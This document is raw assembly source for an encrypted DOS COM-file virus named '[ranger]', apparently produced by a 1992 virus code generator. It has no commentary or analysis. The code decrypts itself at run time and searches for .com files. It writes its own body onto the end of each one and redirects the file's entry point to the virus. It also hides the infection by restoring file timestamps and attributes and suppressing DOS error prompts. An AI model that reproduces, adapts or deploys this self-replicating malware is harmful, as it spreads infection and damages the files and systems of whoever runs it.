.model tiny ; Handy directive .code ; Virus code segment org 100h ; COM file starting IP entry_point: db 0e9h,0,0 ; jmp decrypt decrypt: ; handles encryption and decryption mov cx,(offset heap - offset startencrypt)/2 ; iterations patch_startencrypt: mov di,offset startencrypt ; start of decryption decrypt_loop: db 81h,35h ; xor word ptr [di], xxxx decrypt_value dw 0 ; initialised at zero for null effect inc di ; calculate new decryption location inc di loop decrypt_loop ; decrypt mo' startencrypt: call next ; calculate delta offset next: pop bp ; bp = IP next sub bp,offset next ; bp = delta offset lea si,[bp+save3] mov di,100h push di ; For later return movsw movsb mov byte ptr [bp+numinfec],1 ; reset infection counter mov ah,1Ah ; Set new DTA lea dx,[bp+newDTA] ; new DTA @ DS:DX int 21h mov ah,47h ; Get current directory mov dl,0 ; Current drive lea si,[bp+origdir] ; DS:SI->buffer int 21h mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR mov ax,3524h ; Get int 24 handler int 21h ; to ES:BX mov word ptr [bp+oldint24],bx; Save it mov word ptr [bp+oldint24+2],es mov ah,25h ; Set new int 24 handler lea dx,[bp+offset int24] ; DS:DX->new handler int 21h push cs ; Restore ES pop es ; 'cuz it was changed dir_scan: ; "dot dot" traversal lea dx,[bp+com_mask] mov ah,4eh ; find first file mov cx,7 ; any attribute findfirstnext: int 21h ; DS:DX points to mask jc done_infections ; No mo files found mov al,0h ; Open read only call open mov ah,3fh ; Read file to buffer lea dx,[bp+buffer] ; @ DS:DX mov cx,1Ah ; 1Ah bytes int 21h mov ah,3eh ; Close file int 21h checkCOM: mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA cmp ax,2000 ; Is it too small? jb find_next cmp ax,65535-(endheap-decrypt) ; Is it too large? ja find_next mov bx,word ptr [bp+buffer+1]; get jmp location add bx,heap-decrypt+3 ; Adjust for virus size cmp ax,bx je find_next ; already infected jmp infect_com find_next: mov ah,4fh ; find next file jmp short findfirstnext mov ah,3bh ; change directory lea dx,[bp+dot_dot] ; "cd .." int 21h jnc dir_scan ; go back for mo! done_infections: jmp activate ; Always activate exit_virus: mov ax,2524h ; Restore int 24 handler lds dx,[bp+offset oldint24] ; to original int 21h push cs pop ds mov ah,3bh ; change directory lea dx,[bp+origdir-1] ; original directory int 21h mov ah,1ah ; restore DTA to default mov dx,80h ; DTA in PSP int 21h retn ; 100h is on stack save3 db 0cdh,20h,0 ; First 3 bytes of COM file activate: ; ****************************** mov ax,04301h ; DOS set file attributes function xor cx,cx ; File will have no attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ax,03D02h ; DOS open file function, r/w lea dx,[di + 01Eh] ; DX points to file name int 021h xchg bx,ax ; Transfer file handle to AX jmp exit_virus creator db '[ZEB(C)1992]',0 ; Mass Produced Code Generator virusname db '[ranger]',0 infect_com: ; ax = filesize mov cx,3 sub ax,cx lea si,[bp+offset buffer] lea di,[bp+offset save3] movsw movsb mov byte ptr [si-3],0e9h mov word ptr [si-2],ax add ax,103h push ax ; needed later finishinfection: push cx ; Save # bytes to write xor cx,cx ; Clear attributes call attributes ; Set file attributes mov al,2 call open mov ah,40h ; Write to file lea dx,[bp+buffer] ; Write from buffer pop cx ; cx bytes int 21h mov ax,4202h ; Move file pointer xor cx,cx ; to end of file cwd ; xor dx,dx int 21h get_encrypt_value: mov ah,2ch ; Get current time int 21h ; dh=sec,dl=1/100 sec or dx,dx ; Check if encryption value = 0 jz get_encrypt_value ; Get another if it is mov [bp+decrypt_value],dx ; Set new encryption value lea di,[bp+code_store] mov ax,5355h ; push bp,push bx stosw lea si,[bp+decrypt] ; Copy encryption function mov cx,startencrypt-decrypt ; Bytes to move push si ; Save for later use push cx rep movsb lea si,[bp+write] ; Copy writing function mov cx,endwrite-write ; Bytes to move rep movsb pop cx pop si pop dx ; Entry point of virus push di push si push cx rep movsb ; Copy decryption function mov ax,5b5dh ; pop bx,pop bp stosw mov al,0c3h ; retn stosb add dx,offset startencrypt - offset decrypt ; Calculate new mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of call code_store ; decryption pop cx pop di pop si rep movsb ; Restore decryption function mov ax,5701h ; Restore creation date/time mov cx,word ptr [bp+newDTA+16h] ; time mov dx,word ptr [bp+newDTA+18h] ; date int 21h mov ah,3eh ; Close file int 21h mov ch,0 mov cl,byte ptr [bp+newDTA+15h] ; Restore original call attributes ; attributes dec byte ptr [bp+numinfec] ; One mo infection jnz mo_infections ; Not enough jmp done_infections mo_infections: jmp find_next open: mov ah,3dh lea dx,[bp+newDTA+30] ; filename in DTA int 21h xchg ax,bx ret attributes: mov ax,4301h ; Set attributes to cx lea dx,[bp+newDTA+30] ; filename in DTA int 21h ret write: pop bx ; Restore file handle pop bp ; Restore relativeness mov ah,40h ; Write to file lea dx,[bp+decrypt] ; Concatenate virus mov cx,heap-decrypt ; # bytes to write int 21h push bx push bp endwrite: int24: ; New int 24h (error) handler mov al,3 ; Fail call iret ; Return control com_mask db '*.com',0 dot_dot db '..',0 heap: ; Variables not in code ; The following code is the buffer for the write function code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) oldint24 dd ? ; Storage for old int 24h handler backslash db ? origdir db 64 dup (?) ; Current directory buffer newDTA db 43 dup (?) ; Temporary DTA numinfec db ? ; Infections this run buffer db 1ah dup (?) ; read buffer endheap: ; End of virus end entry_point